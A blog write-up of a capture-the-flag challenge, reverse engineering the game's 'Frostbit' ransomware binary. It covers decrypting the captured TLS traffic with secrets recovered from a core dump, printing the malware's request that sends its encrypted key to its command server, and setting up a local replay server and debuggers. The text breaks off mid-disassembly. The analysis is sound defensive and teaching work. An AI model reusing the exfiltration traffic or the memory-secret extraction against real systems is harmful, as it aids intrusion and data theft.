forbytten blogs

Reversing Frostbit - SANS Holiday Hack Challenge 2024

Last update:

1 Introduction

Frostbit Decrypt was one of the challenges in Act III of the SANS Holiday Hack Challenge 2024: Snow-maggedon and involved defeating ransomware which had encrypted Santa’s Naughty-Nice list. Whilst reverse engineering of the Go x86-64 ELF binary was not strictly required, I took the opportunity to improve my reverse engineering skills and focus on reverse engineering in detail instead of completing the challenge proper. This post focuses on my learnings from this adventure and sets out to prove whether or not it is possible to decrypt the ransomed data based solely on the binary and its provided core dump.

2 Key techniques

The key techniques employed in this writeup are:

3 The scenario

Tangle Coalbox presented the following scenario, a case of ransomware perpetrated by an insider threat:

Ah, there ya are, Gumshoe! Tangle Coalbox at yer service.

Heard the news, eh? The elves’ civil war took a turn for the worse, and now, things’ve really gone sideways. Someone’s gone and ransomware’d the Naughty-Nice List!

And just when you think it can't get worse—turns out, it was none other than ol’ Wombley Cube. He used Frostbit ransomware, all right. But, in true Wombley fashion, he managed to lose the encryption keys!

That’s right, the list is locked up tight, and it’s nearly the start of the holiday season. Not ideal, huh? We're up a frozen creek without a paddle, and Santa’s big day is comin’ fast.

The whole North Pole’s stuck in a frosty mess, unless—there’s someone out there with the know-how to break us out of this pickle.

If I know Wombley—and I reckon I do—he didn't quite grasp the intricacies of Frostbit’s encryption. That gives us a sliver o' hope.

If you can crack into that code, reverse-engineer it, we just might have a shot at pullin’ these holidays outta the ice.

It’s no small feat, mind ya, but somethin’ tells me you've got the brains to make it happen, Gumshoe.

So, no pressure, but if we don’t get this solved, the holidays could be in a real bind. I'm countin’ on ya!

And when ya do crack it, I reckon Santa’ll make sure you're on the extra nice list this year. What d’ya say?

4 Artifacts summary

The following artifacts were provided:

└─$ ls -lh
total 1.7G
-rwxrwxrwx 1 REDACTED REDACTED   93 Dec 26 00:02 DoNotAlterOrDeleteMe.frostbit.json
-rwxrwxrwx 1 REDACTED REDACTED 8.2M Dec 26 00:02 frostbit.elf
-rwxrwxrwx 1 REDACTED REDACTED 1.6G Dec 26 00:04 frostbit_core_dump.14
-rwxrwxrwx 1 REDACTED REDACTED  47K Dec 26 00:02 naughty_nice_list.csv.frostbit
-rwxrwxrwx 1 REDACTED REDACTED 9.3K Dec 26 00:02 ransomware_traffic.pcap

I believe the artifacts were generated specifically for each player so the hashes are not comparable between players but I’ll provide them here anyway:

└─$ shasum -a256 *
c43300435158f5408090a3f27721ccd9a73fd7da7d6b8b39fa46dfe610713e34  DoNotAlterOrDeleteMe.frostbit.json
087b0f31824fa6bc84ee52601e6ac95f28c022912d9e8ac85851eed51e113525  frostbit.elf
0a4b0ac83bf69abd8075384bf115a8611ddbe37f373d6d50ebd54cf8787ccd45  frostbit_core_dump.14
3fba612574f9d6c5475f1dd2716b598a041a5b2323cb3f7be05d0ee6377b77fa  naughty_nice_list.csv.frostbit
02ad2434876a47c077181ae83326a89824b3c82fb5bcf914ba3dd9854632c341  ransomware_traffic.pcap

Identifying each artifact in turn:

  1. DoNotAlterOrDeleteMe.frostbit.json contains JSON dropped by the ransomware after it encrypted the victim’s data:

    └─$ cat DoNotAlterOrDeleteMe.frostbit.json
    {"digest":"19e000902a849d0a1c8619804190806e","status":"Key Set","statusid":"hfD1USRg9MZ1yA"}
  2. frostbit.elf is an x86-64 ELF Go binary:

    └─$ file frostbit.elf
    frostbit.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=twFnsUORqqujpF2IKOpc/fGToVu04lOziSdznrxR4/fBxGnDHL6jeZzih8PnXE/rTwd9D0xXFzB6_Ua8NW1, with debug_info, not stripped
  3. frostbit_core_dump.14 is a core dump from the frostbit.elf binary

    └─$ file frostbit_core_dump.14
    frostbit_core_dump.14: ELF 64-bit LSB core file, x86-64, version 1 (SYSV)
  4. naughty_nice_list.csv.frostbit is the Frostbit encrypted naughty_nice_list.csv:

    └─$ file naughty_nice_list.csv.frostbit
    naughty_nice_list.csv.frostbit: data
  5. ransomware_traffic.pcap is a network packet capture of the ransomware’s communication with its remote server:

    └─$ file ransomware_traffic.pcap
    ransomware_traffic.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

5 Analysis - pcap file

Opening ransomware_traffic.pcap in Wireshark revealed a single TCP stream - indicated by the unbroken line in the left margin covering the entire set of packets - transporting an encrypted TLS1.3 session with api.frostbit.app:

ransomware_traffic.pcap contains a TLS1.3 encrypted session with api.frostbit.app

Although it is typically not possible to decrypt TLS1.3 packets, perhaps frostbit_core_dump.14 would yield some secrets? The core dump was 1.6GB, though, so a basic strings run was tedious to go through, as most of the results were short and irrelevant. Fortunately, though, strings supports a -n min-len option to control the minimum length sequence of displayable characters that will be printed as a string. Using this option easily yielded what appeared to be the same format required by Wireshark’s (Pre)-Master-Secret log filename setting for decrypting TLS traffic:

└─$ strings -t x -10 frostbit_core_dump.14|less

...

547cc8 CLIENT_HANDSHAKE_TRAFFIC_SECRET eb6fa666a08a6c4fb6ab7a8d8b857edab2da33f2684cafb407ff4aa0ef5e82c0 3e3573d439600b5d89df7fbee827f83da682fc95e60feac36513073806051653
547d6a SERVER_HANDSHAKE_TRAFFIC_SECRET eb6fa666a08a6c4fb6ab7a8d8b857edab2da33f2684cafb407ff4aa0ef5e82c0 1d8b443ca1c9221c3fd39ebbf1ee0001409b41887a3e9d4a1e78e74310dcfcdc
547e0c CLIENT_TRAFFIC_SECRET_0 eb6fa666a08a6c4fb6ab7a8d8b857edab2da33f2684cafb407ff4aa0ef5e82c0 5e849fffc2a9c0620065923f2fb5999e57b8016bffed4fa4aba81a3d93089123
547ea6 SERVER_TRAFFIC_SECRET_0 eb6fa666a08a6c4fb6ab7a8d8b857edab2da33f2684cafb407ff4aa0ef5e82c0 882699fbc1e376d70f80c27c34e42f6f70c456a98ec0aa8c28fe30d3a2e297c6

...

The secrets were placed into frostbit-tls.keylog, without the offset produced by the -t x option, and configured in Wireshark’s Edit->Preferences->Protocols->TLS-(Pre)-Master-Secret log filename setting:

Wireshark was configured with the (pre)-master secrets found in frostbit_core_dump.14

Wireshark was thus able to successfully decrypt the TLS1.3 encrypted packets:

Wireshark successfully decrypted the TLS1.3 packets

Right clicking of the HTTP packets and selecting Follow->HTTP Stream yielded the following exchange:

GET /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip


HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 25 Dec 2024 13:02:38 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000

{"nonce":"5ba74ec61797f538"}

POST /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip

{"encryptedkey":"5b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df3f6d48b102f7fce97a6c9d9cc9c0d1f6dbddabaa05fbb51cd2a558d1eefca567b55363811ace161df25f638720c54dc821e35fd03295117509a48c076d8f4d5f5e8c8f8f0a5cb064d2be8153be0f138735cc5f10cdbf8d51798ca22cdcad16d730f2725fa16684a1bb61ba3a939a64a44a8f02f071b317debe6b6d78725f10d25f5fa5677091d2726840f9729b5eeb8ff7e1911b5e455a25330f63c268d91332951bb818dfb7bcd9314717097de1eb3313df2113305a0198378a593da2eb814ac9a5730c8e1db3ae348c0f79efe89731c62ef31fd4a82ca5f15eee6391c3fcc27291485e4db95c025f22c404bb8fd2496b99e8095ec7ea918bab10f7a392ea5edf6b6986a62d0b6a19fd65950ff54dc193289e2c974902de32b67ac514a4da3f61c691c0063a7f6ea406a3d57736c9a4bc0af729cfbaea14566d9a78e0af36fe42d5c2a8b0fb4595143f865fcb469ca1807b85e85b4b0a4cd3a974bee3d4663aafee20973164eb6e427972702873076f7e118af7b636453bb7d2fb380c91fab92cfcc714fb4b31f60f44d86e3d4960f5349d10670a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728","nonce":"5ba74ec61797f538"}
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 25 Dec 2024 13:02:38 GMT
Content-Type: application/json
Content-Length: 93
Connection: keep-alive
Strict-Transport-Security: max-age=31536000

{"digest":"19e000902a849d0a1c8619804190806e","status":"Key Set","statusid":"hfD1USRg9MZ1yA"}

As this post focuses on reverse engineering the client side of the ransomware, the values generated by api.frostbit.app in the HTTP exchange will be mostly ignored but analysis of them is required when attacking api.frostbit.app, which in turn is required for actually completing the challenge.

Examining the HTTP stream, the following values were generated client side and sent to the server:

  1. A UUID of 50b8521f-d748-4b16-b885-0f15fdfd953c to seemingly uniquely identify the ransomware client instance. This appears to be a UUID v4 and hence is not expected to be predictable, nor brute forceable unless there is a vulnerability in the random data source:

    └─$ uuid -d 50b8521f-d748-4b16-b885-0f15fdfd953c
    encode: STR:     50b8521f-d748-4b16-b885-0f15fdfd953c
            SIV:     107295287965050889862335483204891153724
    decode: variant: DCE 1.1, ISO/IEC 11578:1996
            version: 4 (random data based)
            content: 50:B8:52:1F:D7:48:0B:16:38:85:0F:15:FD:FD:95:3C
                     (no semantics: random data only)

    However, the UUID is actually hard coded in frostbit.elf. This is potentially because the artifact is generated per player:

    └─$ strings -tx -10 frostbit.elf|grep -o 50b8521f-d748-4b16-b885-0f15fdfd953c
    50b8521f-d748-4b16-b885-0f15fdfd953c
  2. A hex encoded encrypted key:

    5b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df3f6d48b102f7fce97a6c9d9cc9c0d1f6dbddabaa05fbb51cd2a558d1eefca567b55363811ace161df25f638720c54dc821e35fd03295117509a48c076d8f4d5f5e8c8f8f0a5cb064d2be8153be0f138735cc5f10cdbf8d51798ca22cdcad16d730f2725fa16684a1bb61ba3a939a64a44a8f02f071b317debe6b6d78725f10d25f5fa5677091d2726840f9729b5eeb8ff7e1911b5e455a25330f63c268d91332951bb818dfb7bcd9314717097de1eb3313df2113305a0198378a593da2eb814ac9a5730c8e1db3ae348c0f79efe89731c62ef31fd4a82ca5f15eee6391c3fcc27291485e4db95c025f22c404bb8fd2496b99e8095ec7ea918bab10f7a392ea5edf6b6986a62d0b6a19fd65950ff54dc193289e2c974902de32b67ac514a4da3f61c691c0063a7f6ea406a3d57736c9a4bc0af729cfbaea14566d9a78e0af36fe42d5c2a8b0fb4595143f865fcb469ca1807b85e85b4b0a4cd3a974bee3d4663aafee20973164eb6e427972702873076f7e118af7b636453bb7d2fb380c91fab92cfcc714fb4b31f60f44d86e3d4960f5349d10670a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728

    This value is 512 bytes long:

    └─$ echo -n "5b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df3f6d48b102f7fce97a6c9d9cc9c0d1f6dbddabaa05fbb51cd2a558d1eefca567b55363811ace161df25f638720c54dc821e35fd03295117509a48c076d8f4d5f5e8c8f8f0a5cb064d2be8153be0f138735cc5f10cdbf8d51798ca22cdcad16d730f2725fa16684a1bb61ba3a939a64a44a8f02f071b317debe6b6d78725f10d25f5fa5677091d2726840f9729b5eeb8ff7e1911b5e455a25330f63c268d91332951bb818dfb7bcd9314717097de1eb3313df2113305a0198378a593da2eb814ac9a5730c8e1db3ae348c0f79efe89731c62ef31fd4a82ca5f15eee6391c3fcc27291485e4db95c025f22c404bb8fd2496b99e8095ec7ea918bab10f7a392ea5edf6b6986a62d0b6a19fd65950ff54dc193289e2c974902de32b67ac514a4da3f61c691c0063a7f6ea406a3d57736c9a4bc0af729cfbaea14566d9a78e0af36fe42d5c2a8b0fb4595143f865fcb469ca1807b85e85b4b0a4cd3a974bee3d4663aafee20973164eb6e427972702873076f7e118af7b636453bb7d2fb380c91fab92cfcc714fb4b31f60f44d86e3d4960f5349d10670a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728" |xxd -r -p|wc -c
    512

    Symmetric encryption keys are pretty short, with the commonly used AES-256 block cipher employing 32 byte long keys and an encryption block size of 16 bytes. However, 512 bytes happens to be the output byte length for RSA 4096 bits encryption. This can be checked with the following simple test:

    1. Generate an RSA 4096 bit private key:

      └─$ openssl genrsa -out private.pem 4096
    2. Extract the public key:

      └─$ openssl rsa -in private.pem -pubout -out public.pem
    3. Encrypt a single byte using the public key and count the byte length of the output

      └─$ echo -n "A" | openssl pkeyutl -encrypt -pubin -inkey public.pem| wc -c
      512

    As will be confirmed later, the value is indeed encrypted using a RSA 4096 bit public key.

Incidentally, the requests are somewhat visible in the core dump, which makes sense because the core dump was presumably generated after the HTTP exchange occurred but analyzing the pcap file makes the flow and usage clearer and more complete:

  1. The POST request of the key is visible in the core dump but curiously, the nonce is missing. This is not, however, a simple case of the memory being re-used and overwritten, as both the entire POST and the JSON are still well formed, just that the nonce field is an empty string. It remains unclear why this is the case but it could be due to the way the artifacts were generated for the challenge:

    └─$ radare2 -n frostbit_core_dump.14
    [0x00000000]> s 0x549cc8
    [0x00549cc8]>
    [0x00549cc8]> ps 1257
    POST /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/key HTTP/1.1\x0d
    Host: api.frostbit.app\x0d
    User-Agent: Go-http-client/1.1\x0d
    Content-Length: 1070\x0d
    Content-Type: application/json\x0d
    Accept-Encoding: gzip\x0d
    \x0d
    {"encryptedkey":"5b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df3f6d48b102f7fce97a6c9d9cc9c0d1f6dbddabaa05fbb51cd2a558d1eefca567b55363811ace161df25f638720c54dc821e35fd03295117509a48c076d8f4d5f5e8c8f8f0a5cb064d2be8153be0f138735cc5f10cdbf8d51798ca22cdcad16d730f2725fa16684a1bb61ba3a939a64a44a8f02f071b317debe6b6d78725f10d25f5fa5677091d2726840f9729b5eeb8ff7e1911b5e455a25330f63c268d91332951bb818dfb7bcd9314717097de1eb3313df2113305a0198378a593da2eb814ac9a5730c8e1db3ae348c0f79efe89731c62ef31fd4a82ca5f15eee6391c3fcc27291485e4db95c025f22c404bb8fd2496b99e8095ec7ea918bab10f7a392ea5edf6b6986a62d0b6a19fd65950ff54dc193289e2c974902de32b67ac514a4da3f61c691c0063a7f6ea406a3d57736c9a4bc0af729cfbaea14566d9a78e0af36fe42d5c2a8b0fb4595143f865fcb469ca1807b85e85b4b0a4cd3a974bee3d4663aafee20973164eb6e427972702873076f7e118af7b636453bb7d2fb380c91fab92cfcc714fb4b31f60f44d86e3d4960f5349d10670a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728","nonce":""}
  2. Interestingly, the nonce is not visible in the core dump at all:

    └─$ strings -tx -10 frostbit_core_dump.14|grep 5ba74ec61797f538
  3. The GET request for the session is not as fully visible in the core dump as the POST request but the URL is visible, albeit it is adjacent to the key URL:

    477cc8 https://api.frostbit.app/api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/sessionhttps://api.frostbit.app/api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/keyit
  4. The digest response JSON is fully visible in the core dump:

    3c0a98 {"digest":"19e000902a849d0a1c8619804190806e","status":"Key Set","statusid":"hfD1USRg9MZ1yA"}

There is also an additional view URL in the core dump which was not captured in the pcap. This will be discussed more later on:

39be98 https://api.frostbit.app/view/hfD1USRg9MZ1yA/50b8521f-d748-4b16-b885-0f15fdfd953c/status?digest=19e000902a849d0a1c8619804190806e

6 Environment setup

6.1 Separate debugging VM

A separate Kali VM with a link-local IP address was created for running and debugging frostbit.elf in an isolated, non-internet connected environment. Use of a separate VM has the following advantages:

6.2 Local HTTPS replay server

A local HTTPS replay server was implemented to replay the traffic from ransomware_traffic.pcap. This ensured the responses received by frostbit.elf during debugging matched those which occurred during the original execution and also permitted debugging frostbit.elf in an environment without internet connectivity. Use of a replay server also has the advantage of providing an endpoint which will still be available after api.frostbit.app is no longer available.

6.2.1 Extracting HTTP requests and responses from the pcap file

The HTTP requests and responses were extracted from ransomware_traffic.pcap with the help of the tshark pipeline below:

└─$ tshark -o tls.keylog_file:frostbit-tls.keylog -r ransomware_traffic.pcap -Y http -z follow,http,raw,0| tail -n +11| head -n -1|xxd -r -p
GET /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 25 Dec 2024 13:02:38 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000

{"nonce":"5ba74ec61797f538"}
POST /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip

{"encryptedkey":"5b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df3f6d48b102f7fce97a6c9d9cc9c0d1f6dbddabaa05fbb51cd2a558d1eefca567b55363811ace161df25f638720c54dc821e35fd03295117509a48c076d8f4d5f5e8c8f8f0a5cb064d2be8153be0f138735cc5f10cdbf8d51798ca22cdcad16d730f2725fa16684a1bb61ba3a939a64a44a8f02f071b317debe6b6d78725f10d25f5fa5677091d2726840f9729b5eeb8ff7e1911b5e455a25330f63c268d91332951bb818dfb7bcd9314717097de1eb3313df2113305a0198378a593da2eb814ac9a5730c8e1db3ae348c0f79efe89731c62ef31fd4a82ca5f15eee6391c3fcc27291485e4db95c025f22c404bb8fd2496b99e8095ec7ea918bab10f7a392ea5edf6b6986a62d0b6a19fd65950ff54dc193289e2c974902de32b67ac514a4da3f61c691c0063a7f6ea406a3d57736c9a4bc0af729cfbaea14566d9a78e0af36fe42d5c2a8b0fb4595143f865fcb469ca1807b85e85b4b0a4cd3a974bee3d4663aafee20973164eb6e427972702873076f7e118af7b636453bb7d2fb380c91fab92cfcc714fb4b31f60f44d86e3d4960f5349d10670a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728","nonce":"5ba74ec61797f538"}HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 25 Dec 2024 13:02:38 GMT
Content-Type: application/json
Content-Length: 93
Connection: keep-alive
Strict-Transport-Security: max-age=31536000

{"digest":"19e000902a849d0a1c8619804190806e","status":"Key Set","statusid":"hfD1USRg9MZ1yA"}

Each HTTP response was placed in a separate file:

6.2.2 Python script to serve the replayed responses

The replayer.py script below was created to perform a regex match against the expected GET and POST request paths and replay the corresponding response file. The script is simplistic but adequate for frostbit.elf. For example, it does not update the dates in the responses but frostbit.elf does not validate these.

 #! /usr/bin/python3

 from http.server import *
 import re
 import ssl
 import sys

 class ReplayHandler(BaseHTTPRequestHandler):

     def do_GET(self):
         if re.match(r"^/api/v1/bot/[-a-z0-9]+/session$", self.path):
             raw_resp = read_raw_response("./session_response.txt")
             self.wfile.write(raw_resp)
             return
         self.send_error(404)

     def do_POST(self):
         if re.match(r"^/api/v1/bot/[-a-z0-9]+/key$", self.path):
             raw_resp = read_raw_response("./key_response.txt")
             self.wfile.write(raw_resp)
             return
         self.send_error(404)

 def read_raw_response(name):
     with open(name, "r") as raw_response:
         return bytes(raw_response.read(), 'utf-8')

 def run(host, port, cert_file, privkey_file, privkey_pass, server_class=HTTPServer, handler_class=ReplayHandler):
     context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
     context.load_cert_chain(certfile=cert_file, keyfile=privkey_file, password=privkey_pass)
     server_address = (host, port)
     httpd = HTTPServer(server_address, ReplayHandler)
     httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
     httpd.serve_forever()

 host=sys.argv[1]
 port=int(sys.argv[2])
 cert_file=sys.argv[3]
 privkey_file=sys.argv[4]
 privkey_pass=sys.argv[5]

 run(host, port, cert_file, privkey_file, privkey_pass)

6.2.3 TLS certificate generation

A private key and self signed cert were generated:

  1. Private key generation:

    └─$ openssl genrsa -aes256 -out private.pem 4096
  2. Self signed certificate generation. When prompted, a common name of api.frostbit.app was entered:

    └─$ openssl req -new -x509 -days 365 -key private.pem -out server.crt
  3. Combining the private key and certificate into a single PEM file:

    └─$ cat private.pem server.crt > server.pem

6.2.4 Trusting the self signed certificate

server.pem was added as a system wide trusted certificate:

└─$ sudo cp server.crt /usr/local/share/ca-certificates/
└─$ sudo update-ca-certificates

Installation was verified:

└─$ openssl verify -CAfile /etc/ssl/certs/ca-certificates.crt server.crt
server.crt: OK

6.2.5 Configuring /etc/hosts

/etc/hosts was configured to resolve api.frostbit.app to 127.0.0.1:

127.0.0.1       api.frostbit.app

6.2.6 Basic socat proxy

socat was used as a proxy to replayer.py for the following reasons:

  1. Restricting privileges: frostbit.elf expects to connect to the privileged port 443 but binding to this port requires elevated privileges. Running socat with elevated privileges restricts the potential blast radius versus running python3 with elevated privileges.
  2. Makeshift logging: socat will print the responses served.

socat was invoked below to forward traffic between tls/443 and tls/8443:

└─$ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=server.pem,cafile=server.crt,verify=0  openssl-connect:api.frostbit.app:8443,verify=1

6.2.7 Starting the replay server

replayer.py was started:

└─$ python3 replayer.py 127.0.0.1 8443 ../socat/server.crt ../socat/server.pem pass

6.2.8 Testing the replay server

Successful connection to api.frostbit.app was confirmed using curl:

└─$ curl  --verbose -i https://api.frostbit.app
* Host api.frostbit.app:443 was resolved.
* IPv6: (none)
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:443...
* GnuTLS ciphers: NORMAL:-ARCFOUR-128:-CTYPE-ALL:+CTYPE-X509:-VERS-SSL3.0
* ALPN: curl offers h2,http/1.1
* found 147 certificates in /etc/ssl/certs/ca-certificates.crt
* found 443 certificates in /etc/ssl/certs
* SSL connection using TLS1.3 / ECDHE_RSA_AES_256_GCM_SHA384
*   server certificate verification OK
*   server certificate status verification SKIPPED
*   common name: api.frostbit.app (matched)
*   server certificate expiration date OK
*   server certificate activation date OK
*   certificate public key: RSA
*   certificate version: #3
*   subject: C=US,ST=California,L=San Francisco,O=HHC Frostbit,OU=api.frostbit.app,CN=api.frostbit.app
*   start date: Mon, 30 Dec 2024 08:57:56 GMT
*   expire date: Tue, 30 Dec 2025 08:57:56 GMT
*   issuer: C=US,ST=California,L=San Francisco,O=HHC Frostbit,OU=api.frostbit.app,CN=api.frostbit.app
* ALPN: server did not agree on a protocol. Uses default.
* Connected to api.frostbit.app (127.0.0.1) port 443
* using HTTP/1.x
> GET / HTTP/1.1
> Host: api.frostbit.app
> User-Agent: curl/8.11.0
> Accept: */*
>
* Request completely sent off
* HTTP 1.0, assume close after body
< HTTP/1.0 404 Not Found
HTTP/1.0 404 Not Found
< Server: BaseHTTP/0.6 Python/3.12.7
Server: BaseHTTP/0.6 Python/3.12.7
< Date: Wed, 08 Jan 2025 08:37:36 GMT
Date: Wed, 08 Jan 2025 08:37:36 GMT
< Connection: close
Connection: close
< Content-Type: text/html;charset=utf-8
Content-Type: text/html;charset=utf-8
< Content-Length: 330
Content-Length: 330
<

<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 404</p>
        <p>Message: Not Found.</p>
        <p>Error code explanation: 404 - Nothing matches the given URI.</p>
    </body>
</html>
* shutting down connection #0

6.3 Creating a dummy Naughty-Nice list

A 16 byte long string of “A” characters was stored into a dummy naughty_nice_list.csv. 16 bytes is the block size of the commonly used AES encryption algorithm and is also the standard width of a hex dump.

└─$ python3 -c 'print("A"*16, end="")'> naughty_nice_list.csv

6.4 Ghidra setup

Ghidra was used for static analysis and for commenting the assembly. frostbit.elf was imported with the Language set to x86:LE:64:default:golang:

frostbit.elf imported into Ghidra as a golang binary

Default analysis was conducted:

Ghidra default analysis was run

6.5 radare2 setup

6.5.1 Creating a project

radare2 was used for debugging and for comparative static analysis with Ghidra. The latter proved especially useful for providing a more raw view of the assembly, absent of Ghidra’s higher level interpretations.

  1. frostbit.elf was loaded into radare2:

    └─$ radare2 frostbit.elf
    WARN: truncated dwarf block
    WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
  2. Full analysis was conducted, including experimental analysis. There was one error, with the golang binaries (aang) analysis unable to find any symbols but this appears to only be for stripped golang binaries and therefore the error is inconsequential in this instance:

    [0x00475d80]> aaaa
    INFO: Analyze all flags starting with sym. and entry0 (aa)
    INFO: Analyze imports (af@@@i)
    INFO: Analyze entrypoint (af@ entry0)
    INFO: Analyze symbols (af@@@s)
    INFO: Analyze all functions arguments/locals (afva@@@F)
    INFO: Find function and symbol names from golang binaries (aang)
    ERROR: Found no symbols
    INFO: Analyze all flags starting with sym.go. (aF @@f:sym.go.*)
    INFO: Analyze function calls (aac)
    INFO: Analyze len bytes of instructions for references (aar)
    INFO: Finding and parsing C++ vtables (avrr)
    INFO: Analyzing methods (af @@ method.*)
    INFO: Recovering local variables (afva@@@F)
    INFO: Type matching analysis for all functions (aaft)
    INFO: Propagate noreturn information (aanr)
    INFO: Scanning for strings constructed in code (/azs)
    INFO: Finding function preludes (aap)
    INFO: Enable anal.types.constraint for experimental type propagation
  3. The project was saved:

    [0x00475d80]> Ps frostbit_hhc_2024

6.5.2 Remote debugging with gdb

radare2 supports remote debugging via gdb. An example of starting gdbserver to debug frostbit.elf, binding to 169.254.115.238:9999, is below. The --once option allows gdbserver to be terminated when radare2 exits. Starting up a fresh instance seemed to be the most stable way of commencing a new debugging session.

└─$ gdbserver --once 169.254.115.238:9999 frostbit.elf
Process /REDACTED/frostbit/frostbit.elf created; pid = 43549
Listening on port 9999

An example of starting radare2 from the previously saved project and attaching to gdb:

└─$ radare2 -p REDACTED/frostbit_hhc_2024/rc.r2
WARN: truncated dwarf block
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x00475d80]> doof gdb://169.254.115.238:9999

With the above setup, quitting radare2 will also quit the gdbserver.

7 Disassembling Go binaries versus C binaries

Compilers for different programming languages inherently produce different machine code and assembly, even if they target the same underlying computer architecture, which is x86-64 for frostbit.elf. The reasons for this include:

  1. Compilers are free to utilize their own set of conventions for managing memory and CPU registers, which forms part of a language’s ABI (Application Binary Interface). Go’s internal ABI is documented at https://tip.golang.org/src/cmd/compile/abi-internal.

  2. Each language will have different constructs that affect program flow. For example, some languages like C++ support exceptions, whilst C does not. Go on the other hand, supports a concept of deferred functions.

  3. Each language has its own set of data types and corresponding memory representation.

  4. Each language has its own set of library functions.

The features of Go’s machine code most pertinent to frostbit.elf are as follows.

7.1 Function calling convention

The calling convention refers to the way in which registers and the stack are managed when a function is called. For all architectures, Go’s function calls “pass arguments and results using a combination of the stack and machine registers”. Notably, Go supports multiple return values from a function, whereas C does not. On x86-64, Go “uses the following sequence of 9 registers for integer arguments and results: RAX, RBX, RCX, RDI, RSI, R8, R9, R10, R11”.

The frostbit.elf example below shows three registers being used for return values from main.GetNonce:

  1. AL contains the boolean return status.
  2. RCX contains the length of the returned nonce string
  3. RBX contains the address of the nonce string

The latter two together represent a string composite type. Strings are covered further below.

Registers AL, RCX and RBX being used to return multiple values from main.GetNonce

7.2 Memory layout

Go’s primitive and composite types are represented in memory in a specific way. Two composite types that appear frequently are strings and slices.

7.2.1 Strings

From Golang Reverse Engineering Tips by Travis Mathison, Go strings are represented very differently to C strings: “strings are not null terminated and are instead appended together into larger strings. The linker places all the strings in order of incremental length and Go will index into this and specify the string length to parse out the string it wants”. Static strings can be observed in frostbit.elf by sorting the output of strings by length and printing the first 500 bytes. The result is a long string comprised of a concatenation of logically distinct substrings:

└─$ strings -tx -10 frostbit.elf| awk '{ print length, $0 }' | sort -n -r | cut -d" " -f2-|head -c 500
 33af31 Error: 'nonce' field is not a valid hex string of length %d %stls: server did not send a quic_transport_parameters extensionx509: certificate is not authorized to sign other certificatesURI with empty host (%q) cannot be matched against constraintshttp2: request header list larger than peer's advertised limittrying to put back buffer of the wrong size in the copyBufPoolfound bad pointer in Go heap (incorrect use of unsafe or cgo?)limiterEvent.stop: found wrong event in p's limiter event

The total length of the first string blob is 6003:

└─$ strings -tx -10 frostbit.elf| awk '{ print length, $0 }' | sort -n -r | cut -d" " -f2-|head -1 |wc -c
6003

The following example from frostbit.elf demonstrates the static naughty_nice_list.csv string being accessed via an address and a length:

An example of a dynamic string can be observed when stopping execution in radare2 at 0x006a2987, just before main.encryptFile is called:

[0x006a2987]> pdb
│           ; CODE XREF from sym.main.runit @ 0x6a2935(x)
│           0x006a2965 b    4889c1         mov rcx, rax
│           0x006a2968      4889df         mov rdi, rbx                ; int64_t arg1
│           0x006a296b      488bb42450..   mov rsi, qword [arg_250h]   ; int64_t arg2
│           0x006a2973      4c8b8424f8..   mov r8, qword [arg_f8h]
